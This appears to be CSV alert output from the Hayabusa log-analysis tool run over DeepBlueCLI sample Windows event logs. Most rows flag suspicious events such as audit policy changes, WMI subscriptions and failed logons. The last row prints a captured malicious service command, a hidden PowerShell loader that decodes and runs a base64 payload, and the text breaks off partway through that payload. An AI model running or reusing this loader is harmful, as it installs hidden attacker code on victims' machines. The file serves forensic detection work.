Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 00:43:46.923 +09:00,IE10Win7,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 01:24:07.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:24:07.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:24:10.343 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:24:10.343 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:31:43.146 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:33:09.568 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:34:07.677 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:35:01.052 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:36:08.912 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:40:11.872 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:41:14.715 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:42:51.887 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:52:23.564 +09:00,IE10Win7,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:52:58.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 01:52:59.704 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:52:59.704 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:55:00.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 01:55:00.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 01:56:48.190 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 02:39:39.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 02:39:39.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 03:46:19.937 +09:00,IE10Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2016-08-19 03:46:20.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 03:57:18.515 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 03:57:18.515 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 03:57:20.937 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 03:57:20.937 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 04:55:50.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 04:55:51.755 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 04:55:51.755 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-08-19 04:57:52.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 04:57:52.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-08-19 05:40:21.230 +09:00,IE10Win7,7045,high,Malicious service installed,"Service: SYyGmEHvgHiGYApk : Path: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIADQdtlcCA7VWa2/aSBT93Er9D1aFZFslGAhtmkiVdszLhEcA82ZRNdhjM2TsIfY4PLr973sNdkK3zSpdaS2Q53HvzJlzz51rJ/ItQbkv7a3lQPr27u2bLg6wJykZ52s1K2UeREl98waGM65/27wla3PApC+SMkebTYV7mPqLm5tyFATEF6d+rk4ECkPiLRkloaJKf0njFQnIxd1yTSwhfZMyX3N1xpeYJWb7MrZWRLpAvh3PtbiFY0g5c8OoUOQ//5TV+UVhkas+RJiFimzuQ0G8nM2YrErf1XjDwX5DFLlNrYCH3BG5MfUvi7mhH2KHdGC1R9ImYsXtUFbhLPALiIgCXzo7VbzMyUiRodkNuIVsOyAh+OQa/iO/J0rGjxjLSn8o8wRDP/IF9QjMCxLwjUmCR2qRMGdg32akT5yF0iHb9OivdVLOncCqKwI1CyF5EWyb2xEjJ39Z/RluHEwVniSgwMH3d2/fvXXS4K8HpD3c4fP4Q+vN/NgmgFLp8pAeTb9I+azUhp2w4MEeuplBEBF1Ic3jGMwXCykTcee6M9GzLy9RSO3Bmn7UYWQ+4tRegEcSn4zX/WrcGUPK67NCPP+y3irEoT6p7H3sUSuVlPIr3onDyPHAudSsA9gUOZkgdoUw4mIRc5iV5j+7VT0qnnz1iDKbBMiC2IWACsKq/gjmFBZFbvht4gFbp74MUXBAyCS1TsS7T3eP+2AklxkOw6zUjSCTrKxkEsyInZWQH9JkCkWCH5vyM9x2xAS1cCjS5RbqP/lM9i1zPxRBZEEggYOBuSEWxSymJCsZ1Cb63qRuur/8S0LKmDHqu7DSIwQERmIiTBHLIwCoqRTUnElEw9sw4oHZMbtrDLuQy0kuHCWFXWLLL4FN1X6SdkxPyssZVIi5ybjISiMaCLgsYqpBX/8ZyNlF8QOkckCSOClpLs31vYjln9mutlbHEK1YtAlhR3oCAdTUAu7pOCSfSqYIgDjlvXZHywieacNnbUu/pwW0pYVGG/5DetnglSu7ebs2tKCyWzmoETbaRrfSM4zS4605Kgmz2hDNbkO0q5P12kRGfzgVswYyBjR/Py0dNrf0YLaQPd